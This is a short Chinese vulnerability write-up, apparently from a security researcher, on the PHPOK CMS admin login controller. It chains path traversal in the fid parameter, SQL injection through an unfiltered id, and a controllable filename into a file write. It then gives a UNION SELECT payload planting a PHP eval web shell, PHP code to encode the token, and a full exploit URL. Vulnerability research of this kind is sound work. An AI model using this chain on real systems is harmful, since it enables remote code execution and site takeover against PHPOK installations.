刚刚看了suanve师傅发的phpok
废话不多说直接看login_control
控制器
接收fid
、fcode
、quickcode
三个参数,其中会根据fid
去获取对应的php文件,然后作为一个密钥去对quickcode
解密并赋值给$msg
。文件默认路径是_cache下,可以../穿越
继续往下看
解出quickcode后会做一些判断,然后会提取$msg['id']
到数据库查询,看账号是否匹配
$rs = $this->model('admin')->get_one($msg['id']);
最后会把查询的id
、account
放入$data,然后json编码,并创建一个登录文件
可以看到这个文件名也可以控制,那么就看文件内容是否可控了
看一下查询,啥过滤也没有,可以union select控制返回内容了
因为前面会校验accouont字段但是不会校验id字段,所以可以:
0' union select '<?php eval($_POST[0]);?>','admin',3,4,5,6,7,8,9,10--
然后生成一下
$t = new token_lib();
$f = ["id"=>"0' union select '<?php eval(\$_POST[0]);?>','admin',3,4,5,6,7,8,9,10-- ","user"=>"admin","time"=>1647156143,"domain"=>"127.0.0.1"];
$t->keyid(file_get_contents("../../index.php"));
$s=$t->encode($f);
echo $s;
http://127.0.0.1:89/phpok/admin.php?c=login&f=update&fid=../index&fcode=/../shell&quickcode=41a5f5MAkodXAQYYKlURzDbjkl4rDa5H2zM1S3kIx+U1r0DLVC/QVOxQ5eutrTa9k789HuTLowbk1WYDWTtMmbzd+C8c5OUu/f02lSgZdeRxVymty0d+DHUhJAwhXHFQXHdQ0mO1g6dX/vggGcgYksKJoYPXRNcaKXYhU+Ak9jZEKfzOnIK42BREH2Y332fJqaf5xRU8dVNNuhkb8RUv9bwJvyt0YNIiHwrZR4PSHayTDYNHH4pRmABx07txpbAQOGQNZufOpq